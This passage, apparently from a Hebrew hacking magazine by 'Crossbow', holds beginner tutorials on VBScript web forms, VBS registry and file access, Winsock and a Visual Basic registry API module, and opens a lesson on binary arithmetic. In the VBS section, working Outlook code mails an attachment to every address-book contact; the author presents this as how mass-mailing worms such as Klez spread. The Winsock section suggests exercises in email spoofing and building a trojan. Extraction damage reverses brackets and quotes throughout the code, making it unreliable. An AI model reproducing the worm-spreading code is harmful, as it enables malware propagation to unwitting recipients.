בשם שהקצינו לו .סוג האובייקט הוא הסוג של האובייקט שניצור ,לדוגמא ,סוג
של כפתור (במקרה הזה) ,סוג של טקסטבוקס ,סוג של פסוורדבוקס וכדומה.
סוגי האובייקטים
משמש בעיקר לאירוע לחיצה .הערך שנקבע לו הוא הטקסט על משטח הכפתור .כפתור
הוא פקד המוכר גם בסביבות פיתוח שונות (כמו ויזואל בייסיק או ג'אווה).
כמו הכפתור הרגיל ,אבל לחיצה עליו תגרום לשחזור הפורם ,לפני שהמשתמש שינה
מאפיינים כלשהם (כמו טקסט בתיבת טקסט לדוגמא).
כמו הכפתור הרגיל ,אבל לחיצה עליו תגרום לקישור בין הדף למיקום אחר ,וכל
המידע שיש בפורם יישלח.
משמשת להצגת וקבלת טקסטים .הערך שנקבע לה הוא הטקסט ההתחלתי בתוכה .תיבת
הטקסט ,בדומה לכפתור ,מוכרת גם היא בסביבות פיתוח אחרות.
כמו תיבת הטקסט הרגילה ,אבל הטקסט מוצג באמצעות סיסמא המוצגת ככוכביות.
משמש בעיקר לסימון של ייצוג כלפי המשתמש .בכפתור הבחירה המעוגל הסימון
נעשה ע"י לחיצת עכבר יחידה ,ונראה בצורת עיגול שחור.
אותם מאפיינים כמו לכפתור הבחירה המעוגל ,אבל הסימון נראה בצורת וי.
טוב ,עכשיו אנחנו מגיעים לחלק האמיתי .מי שמכיר ויזואל בייסיק ,יודע שעד
עכשיו אנחנו עשינו רק את החלק הויזואלי ,עכשיו רק את החלק הקל מאוד של
יצירת האובייקטים .עכשיו הגיע הזמן לחלק הטכני ,לתיכנות .טוב ,היום נלמד
רק אירוע אחד ,למרות שיש יותר .עכשיו ,צריך להפריד את כל החלקים הטכניים
של הדף שלנו מהאובייקטים עצמם ,נכון? אז עושים ככה :מעל תווית הפתיחה
הראשונה ,הידועה בשם ,Bodyאנחנו ניצור תוויות סקריפט .Script :עכשיו ,יש
582
יותר משפת סקריפט אחת ,ולכן רצוי מאוד גם לציין את סוג הסקריפט שלנו .סוג
הסקריפט שלנו נקרא ויבי סקריפט ואת זה נציין:
<>HTML
<>HEAD
<>TITLE> My first dynamic page </TITLE
<>HEAD/
<>"SCRIPT LANGUAGE = "VbScript
<>SCRIPT/
<>BODY
<>"FORM METHOD= "Post" ACTION = "" NAME = "Form1
<>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here
<>FORM/
<>BODY/
<>HTML/
עכשיו ,כל הקטע התיכנותי יבוא בין שתי תוויות הסקריפט .בואו ניצור משתנה.
עכשיו ,בניגוד לשפות תיכנות כמו דלפי או ג'אווה ,בויבי סקריפט אנחנו לא
הולכים לציין את סוג המשתנה .לכל המשתנים יש את אותו טווח זיכרון ,וככה
אנחנו הולכים לעבוד איתם .יצירת המשתנה מתחילה בהצהרה על משתנה ,ואחריו
שמו של המשתנה .כמו בויזואל בייסיק ,ההצהרה היא המילה .Dimהנה דוגמא
להצהרה המשתנה שייצג את קבלת הסיסמא מהמשתנה:
dim VarX
הערה חשובה :שם משתנה אף פעם לא יתחיל במספר .לא משנה מה ,אסור אף פעם
ששמו של המשתנה יתחיל במספר ,טוב?
אוקיי ,עכשיו ניצור פונקצייה שתקבל סיסמא מסויימת מהמשתמש ,ותחזיר אם
הסיסמא נכונה או לא .בשביל לקבל את הסיסמא נשתמש בתיבת אינפוט.
תיבת אינפוט
תיבת אינפוט ,הנקראת בשמה האנגלי ,Input Boxהיא הודעה המבקשת להכניס ערך
מסויים ,הנקלט (בדרך כלל) בתוך התוכנית .הנה דוגמא לתיבת אינפוט:
dim VarX
)":VarX = inputbox ("Plese insert the password
לאחר ההצהרה על תיבת האינפוט רושמים את הטקסט בתוכה .עכשיו ,הנה הקוד של
כל דף האינטרנט שלנו כרגע:
<>HTML
<>HEAD
<>TITLE> My first dynamic page </TITLE
<>HEAD/
<>"SCRIPT LANGUAGE = "VbScript
dim VarX
)":VarX = inputbox ("Plese insert the password
<>SCRIPT/
583
<>BODY
<>"FORM METHOD= "Post" ACTION = "" NAME = "Form1
<>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here
<>FORM/
<>BODY/
<>HTML/
טוב ,עכשיו ניצור את האירוע .אירועים מתחילים בהצהרה ע"י הקלדת המילה
האנגלית .Subאחר כך מגיע שם האובייקט ,אחר כך יגיע סוג האירוע ,ואחריו
נרשום מה ייקרה במידה שהאירוע מתקיים .לציון סוף הסקריפט של קיום האירוע
שהגדרנו ,עלינו להצהיר על סיום כלשהו .הנה דוגמא:
)(sub Button1_OnClick
)"!!!if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong
end sub
<>HTML
<>HEAD
<>TITLE> My first dynamic page </TITLE
<>HEAD/
<>"SCRIPT LANGUAGE = "VbScript
dim VarX
)":VarX = inputbox ("Plese insert the password
)(sub Button1_OnClick
)"!!!if VarX = "Haxor" then msgbox("Correct!!!") else msgbox("Wrong
end sub
<>SCRIPT/
<>BODY
<>"FORM METHOD= "Post" ACTION = "" NAME = "Form1
<>"INPUT TYPE= "button" NAME = "Button1" VALUE = "Click Here
<>FORM/
<>BODY/
<>HTML/
טוב ,זה בעקרון שימוש למתחילים בויבי סקריפט .אני מקווה שלמדתם ,ועכשיו,
תוכלו ליצור דפים דינאמיים מאוד .הבעייה היחידה היא שויבי סקריפט לא
תוכנן לקבל סיסמאות וכאלה ,כי לויבי סקריפט יש קוד מקור פתוח .טוב ,אני
מקווה שגם נהנתם .שלכם,
Crossbow
584
שימוש באינטראקטיביות ב VISUAL BASIC SCRIPT
היום אני אסביר לכם את השימוש של קובץ הממוקם בתיקיית Windowsשלכם ,ולו
קוראים ...WScript.exeקובץ זה מאוד שימושי בשפות סקריפט המתווספות לתוך
דף ,Htmlכמו JavaScriptאו .VbScriptקובץ זה משמש תמיד גם ליצירה של
וירוסים עם סיומות ( Vbsשל )VbScriptאו סיומות ( Jsשל .)JavaScriptקובץ
זה מאוד נוח ליצירת וירוסים ,מכיוון שהוא משמש מפתח מעבר חוקי בין הדף
האינטרנטי שלנו לבין הרג'יסטרי והקבצים על המחשב שלנו .במסגרת המאמר הזה,
אנחנו ניצור תוכנית שמשנה ערכים ברג'יסטרי ,נכתוב אותה בשפת .VbScript
רק שתדעו שכל וירוס Vbsשהגיע אליכם עם סיומת Vbsיכול להיות מתורגם בלי
הרבה בעייה לקובץ ...Jsטוב ,בואו נתחיל!!!
טוב ,למי שלא יודע ,רג'יסטרי זה מסד נתונים ענקי של מערכות .Windowsטוב,
הרג'יסטרי ,שומר ערכים חשובים למערכת ולכמה קבצים הקשורים אליה .למשתמש
יש גישה מלאה תמיד לרג'יסטרי במחשב שלו ,בעזרת תוכניות כמו ,Regeditאו
יצירת תוכנית לא מסובכת במיוחד שמשתמשת בכמה פקודות Apiלשינוי ויצירת
ערכים ברג'יסטרי .הרעיון הוא שתמיד אין הגבלה אליו ,אין סיסמא לכניסה אל
הרג'יסטרי ,אין חלקים נסתרים או בלי גישה ,אין קריאה בלבד ,הכל חופשי.
טוב ,עכשיו ניצור כמה אובייקטים בתוך קובץ עם סיומת .Vbsהאובייקט הראשון
שלנו יקשר אותנו עם WScriptועם הרג'יסטרי ...נכתוב ככה:
טוב ,הדבר השני שנעשה הוא שימוש באובייקט הנקרא .FileSystemאובייקט זה
ייקשר אותנו לתוך הקבצים במחשב שלנו .אז נוסיף אותו ,כך שהקוד שלנו הוא:
טוב ,עכשיו אנחנו יכולים לעבוד על כמה פונקציות כבר .בואו נעבוד על שימוש
בקובץ לשם העתקה .נגיד שאנחנו רוצים להעתיק את הקובץ הרצה של המחשבון של
Windowsשהוא C:\Windows\Calc.exe :לתוך .C:\Calc.exeמה שנעשה הוא הוספת
פונקצייה הנקראת ,copyfileהשייכת לאובייקט .FileSystemObjectנציין את
מיקום המקור שלנו ואת מיקום היעד שלנו ,כך שעכשיו הוא:
עכשיו ,אני רוצה להזכיר שהעתקה של קובץ אינה אומרת העברה שלו .עכשיו שני
585
הקבצים יהיו קיימים ,גם ,C:\Windows\Calc.exeוגם ( C:\Calc.exeבמידה
והרצנו את הקובץ) .עכשיו ,עוד פונקצייה שווה היא השגת תיקיית ...Windows
הפונקצייה נקראת .GetSpecialFolderעכשיו ,כדי להבטיח שהגענו לתיקיית
( Windowsיש מחשבים שבהם התיקייה שבהם Windowsלא מותקן בתוך )C:\Windows
אז נשנה את קוד המקור שלנו לדבר הבא:
עוד דבר חשוב שהשתמשנו בו זה האופרטור & ,שפירושו הוספה לערך ,Stringערך
טקסטואלי .יש עוד כמה דברים מעניינים ,עמו למשל ( deletefileפונקצייה
הדורשת ארגומנט אחד) .פונקצייה זו מוחקת קובץ .אפשר למחוק את הקובץ הקודם
שהעתקנו ככה:
טוב ,אני חושב שדי כיסינו את הקבצים ,ועכשיו כדאי שנעבור לרגי'סטרי .טוב,
עכשיו ,ישנן מספר פונקציות שקשורות לרג'יסטרי ,אבל הן ,בניגוד לדברים
הקודמים שעשינו ,לא יהיו קשורות לאובייקט ,FileSystemאלא לקובץ .WScript
הרגי'סטרי
הנה למשל דוגמא טובה לשימוש ברגי'סטרי .אחרי הקוד הסברים כמובן:
)"Set X = CreateObject("WScript.Shell
Dim Y
)"Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion\Version
)Msgbox (Y
הסברים
טוב ,בשורה הראשונה יצרנו אובייקט .WScriptבשורה השנייה אנחנו הצהרנו על
משתנה חדש בשם .Yבשורה השלישית אנחנו מגדירים את Yבתור ערך הקריאה מתוך
הרגי'סטרי ,וכאן רציתי להתעקב .יש שוני מסויים בין תוכניות שנכתבו בתוך
ויזואל בייסיק למשל ,לבין VbScriptששולט על רג'יסטרי .עכשיו ,יש לנו כאן
שני הבדלים :הבדל ראשון הוא שבויזואל בייסיק נכתוב ,HKEY_LOCAL_MACHINE
אבל בתוך VbScriptעם שימוש באובייקט WScriptאנחנו נרשום קיצור למפתח
ההתחלתי .הנה טבלה לכל ששת הקיצורים של מפתחות התחלתיים ברג'יסטרי:
HKEY_CURRENT_USER = HKCU
HKEY_CLASSES_ROOT = HKCR
HKEY_LOCAL_MACHINE = HKLM
HKEY_USERS = HKU
HKEY_CURRENT_CONFIG = HKCC
HKEY_DYN_DATA = HKDD
ההבדל השני שיש לנו כאן מקריאות Apiבויזואל בייסיק ,הוא שאנחנו לא עושים
הפרדה בין התת מפתח למפתח עצמו .בתחביר של ויזואל בייסיק היינו כותבים:
586
)"Y=X.regread("HKLM\Software\Microsoft\Windows\CurrentVersion,"Version
אבל בתוך תחביר WScriptיש רק ארגומנט אחד לקריאה מהרג'יסטרי .טוב ,נעבור
לכתיבה לתוך הרגי'סטרי .הכתיבה היא ,כמה צפוי .regwrite ,בניגוד לקריאה,
לכתיבה לרג'יסטרי יש שני ארגומנטים .הארגומנט הראשון הוא שם המפתח יחד עם
שם התת מפתח ,והארגומנט השני הוא ערך התת מפתח .הנה דוגמא לסקריפט שיכתוב
לנו ערך לתוך הרגי'סטרי:
)"Set X = CreateObject("WScript.Shell
"!!!X.regwrite "HKLM\Software\Microsoft\Important", "Fuck Microsoft
טוב ,ככה ממש עושים וירוסים באופן מקצועי .עכשיו ניצור סקריפט שתפקידו
יהיה לשלוח קובץ מסויים לכל רשימת הדואר שלנו!!! טוב ,הקוד עצמו לא קצר
כל כך כמו הקודמים ,אבל אחריו יהיו הסברים:
)"Set A = CreateObject("Outlook.Application
If A = "Outlook" Then
)"Set B = A.GetNameSpace("MAPI
For Each C In B.AddressLists
If C.AddressEntries.Count <> 0 Then
For D = 1 To C.AddressEntries.Count
)Set E = C.AddressEntries(D
)Set F = A.CreateItem(0
F.To = E.Address
"F.Subject = "The Windows Calculator
"F.Body = "Hello" & vbCrLf & "This is a calculator
"F.Attachments.Add "C:\Windows\Calc.exe
F.DeleteAfterSubmit = False
If Len (F.To) > 0 Then F.Send
Next
End If
Next
הסברים
טוב ,בשורה ראשונה אנחנו יוצרים אובייקט דואר מסוג ,Outlookשנקרא .Aאחר
כך אנחנו אומרים שאם יש לנו Outlookאז אנחנו יוצרים אובייקט ,Bשייצג את
רשימת השמות .אחר כך אנחנו בונים לולאת Forשתלויה בספירה של רשימת השמות
שלנו ,ואנחנו גם אומרים שאם רשימת השמות היא לא אפס אז תשלח הודעה חדשה
לנמען שברשימת השמות ,עם הנושא " ,"The Windows Calculatorעם גוף ההודעה
שמצויין שורה לאחר ההצהרה על נושא ההודעה ,שורה אחר כך יש לנו חיבור של
קובץ שהוא בעצם ,C:\Windows\Calc.exeאחרי זה הוא אומר שאחרי שהוא שלח את
ההודעה הוא לא ימחק את ההודעה מרשימת ההודעות שנשלחו ( ,)Falseלאחר מכן
אנחנו אומרים שאם שם הנמען תופס מעל אפס תווים אז ההודעה תשלח .אחרי זה
יש לנו את סגירת הלולאה השנייה ,סגירת התנאי ובסוף סגירת הלולאה הראשונה.
הסקריפט שעכשיו בנינו משמש המון סוגי וירוסים ,ביניהם Klez.hהידוע .טוב,
אני מקווה שתשתמשו בידע הזה רק לערכים טובים ,זה ידע מאוד חזק ויכול לשמש
לדברים מאוד מאוד מאוד מאוד מאוד מסוכנים (הפצה ענקית של וירוסים וכאלה).
587
בכנות עכשיו ,אני ממליץ לכולכם להיות ,White Hat Hackersלדווח לאדמינים
על בעיות באתרים שלהם ,ולעזור ,לא להרוס .הרבה יותר מאתגר ,והרבה יותר
סבבה גם לדעתי .טוב ,שלכם,
Crossbow
BytesReceived
Close
סוגר את החיבור.
Connect
מתחבר לכתובת מסויימת דרך פורט מסויים .דוגמא :כדי להתחבר לשרת דואר יוצא
של הוטמייל ,אנחנו נכתוב:
Winsock1.Connect "mail.hotmail.com", 25
GetData
מקבל מידע מהכתובת שאליו אנחנו מחוברים .לדוגמא ,כדי להציג מידע שמתקבל,
נכתוב בתוכנית:
Dim RcptData As String
Winsock1.GetData RcptData, VbString
Msgbox RcptData
Listen
הופך לסוג "מקשיב" ,ויוצר סוקט חדש .יכול להיות רק בתקשורת .Tcp \ Ip
LocalHostName
LocalIP
LocalPort
588
Protocol
RemoteHost
RemoteIp
RemotePort
SendData
שולח מידע .המידע מועבר דרך השרת או האייפי שקבענו ,דרך הפורט שקבענו.
טוב ,זה בעצם רוב הדברים שאתם צריכים לדעת .בתור התחלה ,נסו לבנות תוכנה
שמתרגמת אייפי לכתובת ,ולהפך .אחר כך נסו לבנות תוכנה שמזייפת אימיילים.
בשביל זה תצטרכו לדעת זיוף אימייל באמצעות טלנט .אחר כך ,נסו לבנות משהו
מסובך יותר ,כמו סוס טוריאני למשל (לקוח +שרת) .אני מקווה שתצליחו לבנות
יותר תוכניות אינטרנטיות .שלכם,
Crossbow
589
שימוש ברג'יסטרי בתוך ויזואל בייסיק
: הנה כמה דברים שאתם צריכים לדעת,טוב
אם אתם לא יודעים את אחד מהדברים הבאים אתם מוזמנים לשאול את אחד מהצוות
השימוש ברג'יסטרי, עכשיו, טוב.או פשוט לקרוא טקסטים אחרים מהאתר שלנו
אז כדאי שלפני זה תחקרו את,בתוך ויזואל בייסיק הוא כלי מאוד חזק ומסוכן
אני ארשום את הקוד של המודול שאתם צריכים, עכשיו.הרג'יסטרי שלכם קצת
:)לכתוב בתוך ויזואל בייסיק (קונטרול ושיפט
Type FILETIME
lLowDateTime As Long
lHighDateTime As Long
End Type
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA"
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As
Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA"
(ByVal hKey As Long, ByVal lpSubKey As String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData
As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long,
ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
ByRef lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As
Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long,
ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long,
ByRef lpData As Long, ByVal cbData As Long) As Long
590
Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA"
(ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long
&Const ERROR_SUCCESS = 0
&Const ERROR_BADDB = 1009
&Const ERROR_BADKEY = 1010
&Const ERROR_CANTOPEN = 1011
&Const ERROR_CANTREAD = 1012
&Const ERROR_CANTWRITE = 1013
&Const ERROR_OUTOFMEMORY = 14
&Const ERROR_INVALID_PARAMETER = 87
&Const ERROR_ACCESS_DENIED = 5
&Const ERROR_NO_MORE_ITEMS = 259
&Const ERROR_MORE_DATA = 234
&Const REG_NONE = 0
&Const REG_SZ = 1
&Const REG_EXPAND_SZ = 2
&Const REG_BINARY = 3
&Const REG_DWORD = 4
&Const REG_DWORD_LITTLE_ENDIAN = 4
&Const REG_DWORD_BIG_ENDIAN = 5
&Const REG_LINK = 6
&Const REG_MULTI_SZ = 7
&Const REG_RESOURCE_LIST = 8
&Const REG_FULL_RESOURCE_DESCRIPTOR = 9
&Const REG_RESOURCE_REQUIREMENTS_LIST = 10
&Const KEY_QUERY_VALUE = &H1
&Const KEY_SET_VALUE = &H2
&Const KEY_CREATE_SUB_KEY = &H4
&Const KEY_ENUMERATE_SUB_KEYS = &H8
&Const KEY_NOTIFY = &H10
&Const KEY_CREATE_LINK = &H20
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE
Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE
Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ
Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
591
Dim ByteArray() As Byte
Const DisplayErrorMsg = False
)Function SetDWORDValue(SubKey As String, Entry As String, Value As Long
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, Value, 4
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
)rtn = RegCloseKey(hKey
Else
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function GetDWORDValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
GetDWORDValue = lBuffer
Else
"GetDWORDValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetDWORDValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function SetBinaryValue(SubKey As String, Entry As String, Value As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
592
)lDataSize = Len(Value
)ReDim ByteArray(lDataSize
For i = 1 To lDataSize
))ByteArray(i) = Asc(Mid$(Value, i, 1
Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, ByteArray(1),
)lDataSize
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
)rtn = RegCloseKey(hKey
Else
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function GetBinaryValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
lBufferSize = 1
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, lBufferSize
)sBuffer = Space(lBufferSize
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, lBufferSize
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
GetBinaryValue = sBuffer
Else
"GetBinaryValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetBinaryValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Function DeleteKey(Keyname As String
)Call ParseKey(Keyname, MainKeyHandle
If MainKeyHandle Then
593
)rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegDeleteKey(hKey, Keyname
)rtn = RegCloseKey(hKey
End If
End If
End Function
Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName
"Case "HKEY_CLASSES_ROOT
GetMainKeyHandle = HKEY_CLASSES_ROOT
"Case "HKEY_CURRENT_USER
GetMainKeyHandle = HKEY_CURRENT_USER
"Case "HKEY_LOCAL_MACHINE
GetMainKeyHandle = HKEY_LOCAL_MACHINE
"Case "HKEY_USERS
GetMainKeyHandle = HKEY_USERS
"Case "HKEY_PERFORMANCE_DATA
GetMainKeyHandle = HKEY_PERFORMANCE_DATA
"Case "HKEY_CURRENT_CONFIG
GetMainKeyHandle = HKEY_CURRENT_CONFIG
"Case "HKEY_DYN_DATA
GetMainKeyHandle = HKEY_DYN_DATA
End Select
End Function
Function ErrorMsg(lErrorCode As Long) As String
Select Case lErrorCode
Case 1009, 1015
"!GetErrorMsg = "The Registry Database is corrupt
Case 2, 1010
"GetErrorMsg = "Bad Key Name
Case 1011
"GetErrorMsg = "Can't Open Key
Case 4, 1012
"GetErrorMsg = "Can't Read Key
Case 5
"GetErrorMsg = "Access to this key is denied
Case 1013
"GetErrorMsg = "Can't Write Key
Case 8, 14
"GetErrorMsg = "Out of memory
Case 87
"GetErrorMsg = "Invalid Parameter
594
Case 234
GetErrorMsg = "There is more data than the buffer has been allocated to
".hold
Case Else
)GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode
End Select
End Function
)Function GetStringValue(SubKey As String, Entry As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, hKey
If rtn = ERROR_SUCCESS Then
)sBuffer = Space(255
)lBufferSize = Len(sBuffer
)rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, lBufferSize
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
)sBuffer = Trim(sBuffer
)GetStringValue = Left(sBuffer, Len(sBuffer) - 1
Else
"GetStringValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
Else
"GetStringValue = "Error
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
)Private Sub ParseKey(Keyname As String, Keyhandle As Long
)"\" ,rtn = InStr(Keyname
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then
MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname
Exit Sub
ElseIf rtn = 0 Then
)Keyhandle = GetMainKeyHandle(Keyname
"" = Keyname
Else
))Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1
)Keyname = Right(Keyname, Len(Keyname) - rtn
End If
End Sub
)Function CreateKey(SubKey As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
595
)rtn = RegCreateKey(MainKeyHandle, SubKey, hKey
If rtn = ERROR_SUCCESS Then
)rtn = RegCloseKey(hKey
End If
End If
End Function
)Function SetStringValue(SubKey As String, Entry As String, Value As String
)Call ParseKey(SubKey, MainKeyHandle
If MainKeyHandle Then
)rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, hKey
If rtn = ERROR_SUCCESS Then
))rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal Value, Len(Value
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
)rtn = RegCloseKey(hKey
Else
If DisplayErrorMsg = True Then
)MsgBox ErrorMsg(rtn
End If
End If
End If
End Function
טוב ,יש פה המון פונקציות וכאלה ,אז אני פשוט אכתוב בקצרה על מה שיש פה:
הפונקצייה הראשונה היא בעצם שינוי הערך של מילה כפולה (ואם אתם לא יודעים
מה זה ,אתם צריכים לעשות חזרה על יסודות המתימטיקה הבינארית) ,אחרי זה יש
לנו השגת ערך מילה כפולה .אחרי זה יש לנו שינוי ערך בינארי ,ואחרי זה יש
לנו השגת ערך בינארי .אחרי זה יש לנו מחיקת קיי ( ,)Keyאחרי זה יש לנו את
השגת ההנדל הראשי (הקיי הראשי) .אחרי זה יש לנו פונקצייה שבעצם נותנת לנו
את כל השגיאות שיכולות להתגלות בזמן שינוי או טעינת הרג'יסטרי .אחרי זה
יש לנו את השגת ערך סטרינג (מחרוזת) .טוב ,אחרי זה יש פונקצייה שגורמת
לניווט בתוך הרג'יסטרי .אחרי זה יש לנו את יצירת הקיי ,ולבסוף ,הפונקצייה
האחרונה ,שינוי ערך סטרינג .זה בעצם מה שאתם רושמים בתוך המודול .עכשיו,
אנחנו הולכים להשתמש בכל המידע הזה והפונקציות האלו בפורם .תיצרו פורם,
ואז תלחצו פעמיים על המשטח של הפורם .המצב של הקידוד אמור לעלות לכם ,עם
הפונקצייה של הפורם בטעינה (קונטרול ושיפט):
End Sub
אני מקווה שאתם יודעים מה זה .עכשיו ,בין שתי השורות האלה יש לנו את הקוד
שלנו .אז אתם פשוט כותבים פונקצייה מסויימת .הפונקציות אצלנו הם אלה:
596
- SetDWORDValueשינוי ערך של מילה כפולה.
- GetDWORDValueקריאת ערך של מילה כפולה.
- CreateKeyיצירת קיי חדש.
- DeleteKeyמחיקת קיי חדש.
אם תריצו אתם תראו מילה מוחזרת ,הערך של הקיי .נראה שזה בעצם פשוט וקל,
אבל רק שתדעו שהדרך ארוכה .בהתחלה אנחנו יוצרים משתנה חדש .אחרי זה יש
לנו הכנסת ערך חדש לתוך סאבקיי מסויים .הערך נשמר ברג'יסטרי .אחרי זה יש
הגדרת המשתנה בתור פונקציית השגת סטרינג מתוך הרג'יסטרי בסאבקיי שמקודם.
אחרי זה ,המשתנה כבר הוגדר ,והפלט על המסך הוא בדיוק המשתנה .טוב ,אני זז
כי פשוט זה היה טקסט ארוך גם ככה ,אני מקווה שתשתמשו בזה בחוכמה ,והעיקר
הוא שתבינו את זה .שלכם,
Crossbow
597
חשבון בינארי
אהלן לכולם!!! עד עכשיו למדנו רובינו איך לקרוא ערכים בינאריים ולתרגם
אותם לערכים דצימליים ולהפך .היום נעסוק בחשבון בינארי קצת יותר מתקדם
ממה שהיינו רגילים עד עכשיו.
אז מה זה בינארי
בינארי ,למי שלא זוכר ,זוהי שיטה לכתיבת מספרים בבסיס שתיים .השיטה הזו,
משומשת כל הזמן במחשב ,מכיוון שבינארי מורכב משני מספרים בלבד :אפס ואחד,
ולזיכרון של המחשב הכי נוח לזכור בינארי ,מכיוון שבבינארי המספר 0מייצג
את מצב לא פועל ( ,)Offוהמספר 1מייצג מצב פועל ( .)Onערך בינארי במחשבים
יכול להיות רק ערך עם 32ספרות ,מה שייקח 32ביט מהזכרון .מכאן אפשר
להבין ,שהמספר הדצימלי הכי ארוך שהמחשב יכול לקבל באוגר ( )Registerהוא
משתנה ,Longintשהוא בטווח בין 2147483647למינוס .2147483648טוב ,עכשיו
שחזרנו במהירות על נושא השיטה הבינארית ,בואו נעבור לחשבון בינארי בסיסי.
0=0+0
1=0+1
10 = 1 + 1
11 = 1 + 1 + 1
:111000נשא
---------- -------
:100101מספר ראשון
:011110מספר שני
---------- -------
:1000011תוצאה
מבינים? הנשא עובד בדיוק כמו בשיטה הדצימלית .אם היה לנו מצב שיש לנו
חיבור של שני ערכי ,)1 + 1( 1אז נכתוב בתוצאה 0ובנשא הבא נכתוב את הערך
